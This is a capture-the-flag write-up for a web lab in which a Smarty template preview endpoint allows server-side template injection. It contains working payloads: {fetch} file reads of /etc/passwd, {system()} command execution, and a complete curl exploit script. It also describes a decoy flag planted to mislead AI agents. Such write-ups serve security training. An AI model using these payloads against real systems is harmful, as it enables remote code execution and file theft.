MailPulse
MailPulse
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: decoy_flag_recognition, fetch_tag_bypass_via_system, rce_via_template_engine, smarty_math_confirmation, ssti_smarty_system_tag
Summary
Task: MailPulse email marketing platform with Smarty template engine editor and preview endpoint vulnerable to SSTI. Solution: Inject {system("cat /root/flag.txt")} via template preview API to achieve RCE and read the flag, bypassing {fetch} tag path restrictions.
MailPulse — HackAdvisor Lab 136
Description
MailPulse is an email marketing platform built by PulseMedia Inc. that lets teams create, personalize, and send email campaigns. Users can build email templates using a powerful template syntax with variables and layout inheritance, manage subscriber lists, and track campaign performance through detailed analytics. The platform includes a template editor that supports the Smarty template engine syntax for creating dynamic email templates. The goal is to find and exploit a vulnerability that allows reading sensitive files from the server.
English summary: A PHP 8.2.26 email marketing platform (MailPulse) running on Alpine Linux with nginx/1.25.5. The application features a template editor using the Smarty template engine with a server-side preview endpoint. The goal is to exploit Server-Side Template Injection (SSTI) to read sensitive files from the server.
Analysis
Reconnaissance
- Stack: PHP 8.2.26, Smarty template engine, nginx/1.25.5, Alpine Linux
- Credentials:
user@test.com / password123 - Application sections: Dashboard, Campaigns, Templates, Subscribers, Analytics
Decoy Flag (Honeypot)
The login page and other HTML pages contain a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible <div> elements. This is designed to trick automated scanners and AI agents into reporting a false positive. Identified and ignored.
Vulnerable Endpoint
The Templates section at /templates/edit/1 contains a template editor with a "Preview" button. The JavaScript sends a POST request to:
POST /api/templates/preview
Content-Type: application/json
{"content": "<template code>", "template_id": "1"}
The server renders the template content using the Smarty engine and returns the result. The help text explicitly references Smarty syntax: {$subscriber.first_name}, {$company_name}, {extends "base.tpl"}.
Key Vulnerability
The Smarty template engine is not properly sandboxed. While the {fetch} tag has path-based restrictions preventing access to certain files, the {system()} tag is unrestricted, allowing full OS command execution.
Solution
Step 1: Confirm SSTI
Inject a math expression to confirm server-side template evaluation:
{math equation="7*7"}
Response: 49 — confirms the Smarty engine evaluates injected template code.
Step 2: Attempt File Read via {fetch}
{fetch file="/etc/passwd"}
Response: Successfully returned /etc/passwd contents — confirms file read capability.
{fetch file="/tmp/flag.txt"}
{fetch file="/flag.txt"}
Response: "cannot read resource" — path restrictions block access to flag locations via {fetch}.
Step 3: Escalate to RCE via {system}
Smarty's {system()} tag executes OS commands without restriction:
{system("ls /")}
Response: Root filesystem listing (Alpine Linux structure).
{system("find / -name \"flag*\" 2>/dev/null")}
Response: Found /root/flag.txt.
Step 4: Read the Flag
{system("cat /root/flag.txt")}
Response: FLAG{REDACTED}
Full Exploit (curl)
bash read-only • copy allowed#!/bin/bash # MailPulse SSTI exploit via Smarty {system()} tag TARGET="https://dcd64cfd-e916-4a8e-8a23-2a3ee052c5db.labs.hackadvisor.io" # Step 1: Login and get session cookie COOKIE=$(curl -s -c - "$TARGET/login" \ -d "email=user@test.com&password=password123" | grep -o 'PHPSESSID=[^;]*') # Step 2: Exploit SSTI to read flag curl -s "$TARGET/api/templates/preview" \ -H "Cookie: $COOKIE" \ -H "Content-Type: application/json" \ -d '{"content": "{system(\"cat /root/flag.txt\")}", "template_id": "1"}'